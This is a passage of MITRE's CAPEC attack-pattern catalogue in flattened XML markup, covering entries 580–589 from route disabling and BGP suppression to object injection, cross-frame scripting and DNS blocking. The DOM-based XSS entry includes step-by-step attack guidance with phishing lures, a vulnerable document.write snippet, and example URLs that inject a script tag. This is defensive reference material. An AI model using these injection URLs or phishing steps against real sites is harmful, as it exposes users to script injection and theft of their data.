#indRelatedAttackPatternRelatedAttackPattern33295 + Related_Attack_Pattern_33295 + + + + + + + + + + + + + + 580 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identify programs that may be used to acquire security tool information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSoftwareDiscoverySecuritySoftwareDiscovery + Software Discovery:Security Software Discovery + + + + + + + + + + + + + + 1518.001 + + + + + Software Discovery:Security Software Discovery + + + + + + + + + + + + #indContentHistoryContentHistory33306 + Content_History_33306 + + + + + + + + + + + + + + + + #indSubmissionSubmission33307 + Submission_33307 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification33312 + Modification_33312 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification33318 + Modification_33318 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-582 + Route Disabling + + + + + + + + + 582 + + + + + Route Disabling + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary disables the network route between two targets. The goal is to completely sever the communications channel between two entities. This is often the result of a major error or the use of an "Internet kill switch" by those in control of critical infrastructure. This attack pattern differs from most other obstruction patterns by targeting the route itself, as opposed to the data passed over the route.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33331 + Related_Attack_Pattern_33331 + + + + + + + + + + + + + + 607 + + + + + 514 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires knowledge of and access to network route.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33339 + Consequence_33339 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disabling a network route denies the availability of a service.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory33345 + Content_History_33345 + + + + + + + + + + + + + + + + #indSubmissionSubmission33346 + Submission_33346 + + + + + + + + + Seamus Tuohy + + + + + 2017-02-14 + + + + + + + + + + + + #indModificationModification33350 + Modification_33350 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-583 + Disabling Network Hardware + + + + + + + + + 583 + + + + + Disabling Network Hardware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, an adversary physically disables networking hardware by powering it down or disconnecting critical equipment. Disabling or shutting off critical system resources prevents them from performing their service as intended, which can have direct and indirect consequences on other systems. This attack pattern is considerably less technical than the selective blocking used in most obstruction attacks.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33362 + Related_Attack_Pattern_33362 + + + + + + + + + + + + + + 582 + + + + + 512 + + + + + 513 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires physical access to the targeted communications equipment (networking devices, cables, etc.), which may be spread over a wide area.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33372 + Consequence_33372 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure rigorous physical defensive measures to keep the adversary from accessing critical systems..</xhtml:div> + + + + + + + + + + + + #indReferenceReference33382 + Reference_33382 + + + + + + + + + REF-464 + + + + + + + + + + + + #indContentHistoryContentHistory33384 + Content_History_33384 + + + + + + + + + + + + + + + + #indSubmissionSubmission33385 + Submission_33385 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-12 + + + + + + + + + + + + #indModificationModification33389 + Modification_33389 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33395 + Modification_33395 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-584 + BGP Route Disabling + + + + + + + + + 584 + + + + + BGP Route Disabling + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary suppresses the Border Gateway Protocol (BGP) advertisement for a route so as to render the underlying network inaccessible. The BGP protocol helps traffic move throughout the Internet by selecting the most efficient route between Autonomous Systems (AS), or routing domains. BGP is the basis for interdomain routing infrastructure, providing connections between these ASs. By suppressing the intended AS routing advertisements and/or forcing less effective routes for traffic to ASs, the adversary can deny availability for the target network.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33406 + Related_Attack_Pattern_33406 + + + + + + + + + + + + + + 582 + + + + + 403 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have control of a router that can modify, drop, or introduce spoofed BGP updates.The adversary can convince</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">BGP Router</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33418 + Consequence_33418 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disabling a network route at the routing infrastructure level denies availability of that route.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement Ingress filters to check the validity of received routes. However, this relies on the accuracy of Internet Routing Registries (IRRs) databases which are often not well-maintained.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement Secure BGP (S-BGP protocol), which improves authorization and authentication capabilities based on public-key cryptography.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Blackholing: The adversary intentionally references false routing advertisements in order to attract traffic to a particular router so it can be dropped.</xhtml:div> + + + + + + + + + + + + #indReferenceReference33432 + Reference_33432 + + + + + + + + + REF-465 + + + + + + + + + + + + #indReferenceReference33433 + Reference_33433 + + + + + + + + + REF-466 + + + + + + + + + + + + #indContentHistoryContentHistory33435 + Content_History_33435 + + + + + + + + + + + + + + + + #indSubmissionSubmission33436 + Submission_33436 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-12 + + + + + + + + + + + + #indModificationModification33440 + Modification_33440 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33446 + Modification_33446 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-585 + DNS Domain Seizure + + + + + + + + + 585 + + + + + DNS Domain Seizure + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, an adversary influences a target's web-hosting company to disable a target domain. The goal is to prevent access to the targeted service provided by that domain. It usually occurs as the result of civil or criminal legal interventions.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33457 + Related_Attack_Pattern_33457 + + + + + + + + + + + + + + 582 + + + + + 513 + + + + + 514 + + + + + 512 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern requires that the adversary has cooperation from the registrar of the target domain.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33468 + Consequence_33468 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disabling a target domain at the infrastructure level denies the availability of its service to the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The FBI's seizure of gambling websites, the US DOJ's seizure of child pornography websites, and Microsoft's seizure of all domains owned by the company No-IP in order to disrupt a cyberattack originating from a subset of those domains.</xhtml:div> + + + + + + + + + + + + #indReferenceReference33478 + Reference_33478 + + + + + + + + + REF-467 + + + + + + + + + + + + #indContentHistoryContentHistory33480 + Content_History_33480 + + + + + + + + + + + + + + + + #indSubmissionSubmission33481 + Submission_33481 + + + + + + + + + Seamus Tuohy + + + + + 2017-01-12 + + + + + + + + + + + + #indModificationModification33485 + Modification_33485 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33491 + Modification_33491 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-586 + Object Injection + + + + + + + + + 586 + + + + + Object Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must unserialize data before validation.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33507 + Consequence_33507 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate and exhaust available resources.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33512 + Consequence_33512 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attackers can modify objects or data that was assumed to be safe from modification.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33517 + Consequence_33517 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Functions that assume information in the deserialized object is valid could be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Implementation: Validate object before deserialization process&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Design: Limit which types can be deserialized.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Implementation: Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. Use an allowlist of acceptable classes.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Implementation: Keep session state on the server, when possible.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 502 + + + + + + + + + + + + #indReferenceReference33541 + Reference_33541 + + + + + + + + + REF-468 + + + + + + + + + + + + #indContentHistoryContentHistory33543 + Content_History_33543 + + + + + + + + + + + + + + + + #indSubmissionSubmission33544 + Submission_33544 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-02-06 + + + + + + + + + + + + #indModificationModification33549 + Modification_33549 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification33555 + Modification_33555 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification33561 + Modification_33561 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-587 + Cross Frame Scripting (XFS) + + + + + + + + + 587 + + + + + Cross Frame Scripting (XFS) + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern combines malicious Javascript and a legitimate webpage loaded into a concealed iframe. The malicious Javascript is then able to interact with a legitimate webpage in a manner that is unknown to the user. This attack usually leverages some element of social engineering in that an attacker must convinces a user to visit a web page that the attacker controls.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33574 + Related_Attack_Pattern_33574 + + + + + + + + + + + + + + 103 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The user's browser must have vulnerabilities in its implementation of the same-origin policy. It allows certain data in a loaded page to originate from different servers/domains.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33582 + Consequence_33582 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cross Frame Scripting allows an adversary to steal sensitive data from a legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid clicking on untrusted links.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ techniques such as frame busting, which is a method by which developers aim to prevent their site being loaded within a frame.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary-controlled webpage contains malicious Javascript and a concealed iframe containing a legitimate website login (i.e., the concealed iframe would make it appear as though the actual legitimate website was loaded). When the user interacts with the legitimate website in the iframe, the malicious Javascript collects that sensitive information.</xhtml:div> + + + + + 1021 + + + + + + + + + + + + #indTaxonomyMappingCrossFrameScripting + Cross Frame Scripting + + + + + + + + + + + + + + Cross Frame Scripting + + + + + + + + + + + + #indReferenceReference33604 + Reference_33604 + + + + + + + + + REF-469 + + + + + + + + + + + + #indReferenceReference33605 + Reference_33605 + + + + + + + + + REF-470 + + + + + + + + + + + + #indContentHistoryContentHistory33607 + Content_History_33607 + + + + + + + + + + + + + + + + #indSubmissionSubmission33608 + Submission_33608 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-02-01 + + + + + + + + + + + + #indModificationModification33613 + Modification_33613 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification33619 + Modification_33619 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Abstraction, Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33625 + Modification_33625 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Example_Instances, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #CAPEC-588 + DOM-Based XSS + + + + + + + + + 588 + + + + + DOM-Based XSS + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33638 + Related_Attack_Pattern_33638 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indAttackStepAttackStep33641 + Attack_Step_33641 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep33649 + Attack_Step_33649 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for DOM-based XSS vulnerability] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. Specific to DOM-based XSS, the adversary is looking for areas where input is being used to directly change the DOM.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of HTML special characters to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep33657 + Attack_Step_33657 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim. In DOM-based XSS, the malicious script might not even be sent to the server, since the victim's browser will manipulate the DOM itself. This can help avoid serve-side detection mechanisms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter to include a malicious script tag.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add a URL fragment to alter the value of the expected Document object URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep33665 + Attack_Step_33665 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that leverages a client-side web browser with scripting enabled.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that manipulates the DOM via client-side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application that failS to adequately sanitize or encode untrusted input.</xhtml:div> + + + + + + + + + + + + #indSkillSkill33679 + Skill_33679 + + + + + + + + + + + + + + Requires the ability to write scripts of some complexity and to inject it through user controlled fields in the system. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33685 + Consequence_33685 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful DOM-based XSS attack can enable an adversary to exfiltrate sensitive information from the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33690 + Consequence_33690 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful DOM-based XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33697 + Consequence_33697 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful DOM-based XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33704 + Consequence_33704 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful DOM-based XSS attack can allow an adversary to tamper with application data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use browser technologies that do not allow client-side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize proper character encoding for all output produced within client-site scripts manipulating the DOM.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that all user-supplied input is validated before use.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Consider a web application that enables or disables some of the fields of a form on the page via the use of a mode parameter provided on the query string.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://my.site.com/aform.html?mode=full&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The application’s client-side code may want to print this mode value to the screen to give the users an understanding of what mode they are in. In this example, JavaScript is used to pull the value from the URL and update the HTML by dynamically manipulating the DOM via a document.write() call.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;script&amp;gt;document.write("&amp;lt;p&amp;gt;Mode is: " + document.location.href.substring(document.location.href.indexOf('mode=') + 5) + "&amp;lt;/p&amp;gt;");&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Notice how the value provided on the URL is used directly with no input validation performed and no output encoding in place. A maliciously crafted URL can thus be formed such that if a victim clicked on the URL, a malicious script would then be executed by the victim’s browser:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://my.site.com/aform.html?mode=&amp;lt;script&amp;gt;alert('hi');&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In some DOM-based attacks, the malicious script never gets sent to the web server at all, thus bypassing any server-side protections that might be in place. Consider the previously used web application that displays the mode value. Since the HTML is being generated dynamically through DOM manipulations, a URL fragment (i.e., the part of a URL after the '#' character) can be used.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://my.site.com/aform.html#mode=&amp;lt;script&amp;gt;alert('hi')&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this variation of a DOM-based XSS attack, the malicious script will not be sent to the web server, but will instead be managed by the victim's browser and is still available to the client-side script code.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 79 + + + + + 20 + + + + + 83 + + + + + + + + + + + + #indTaxonomyMappingReflectedDOMInjection + Reflected DOM Injection + + + + + + + + + + + + + + Reflected DOM Injection + + + + + + + + + + + + #indReferenceReference33741 + Reference_33741 + + + + + + + + + REF-471 + + + + + + + + + + + + #indReferenceReference33742 + Reference_33742 + + + + + + + + + REF-472 + + + + + + + + + + + + #indReferenceReference33744 + Reference_33744 + + + + + + + + + REF-618 + + + + + Testing for DOM Based Cross Site Scripting + + + + + + + + + + + + #indContentHistoryContentHistory33746 + Content_History_33746 + + + + + + + + + + + + + + + + #indSubmissionSubmission33747 + Submission_33747 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-04-15 + + + + + + + + + + + + #indModificationModification33752 + Modification_33752 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification33758 + Modification_33758 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification33764 + Modification_33764 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification33770 + Modification_33770 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification33776 + Modification_33776 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-589 + DNS Blocking + + + + + + + + + 589 + + + + + DNS Blocking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary intercepts traffic and intentionally drops DNS requests based on content in the request. In this way, the adversary can deny the availability of specific services or content to the user even if the IP address is changed.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern33787 + Related_Attack_Pattern_33787 + + + + + + + + + + + + + + 603 + + + + + 514 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack requires the ability to conduct deep packet inspection with an In-Path device that can drop the targeted traffic and/or connection.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence33795 + Consequence_33795 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Preventing DNS from resolving a request denies the availability of a target site or service for the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hard Coded Alternate DNS server in applications</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid dependence on DNS</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Include "hosts file"/IP address in the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure best practices with respect to communications channel protections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a .onion domain with Tor support</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Full URL Based Filtering: Filtering based upon the requested URL.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" 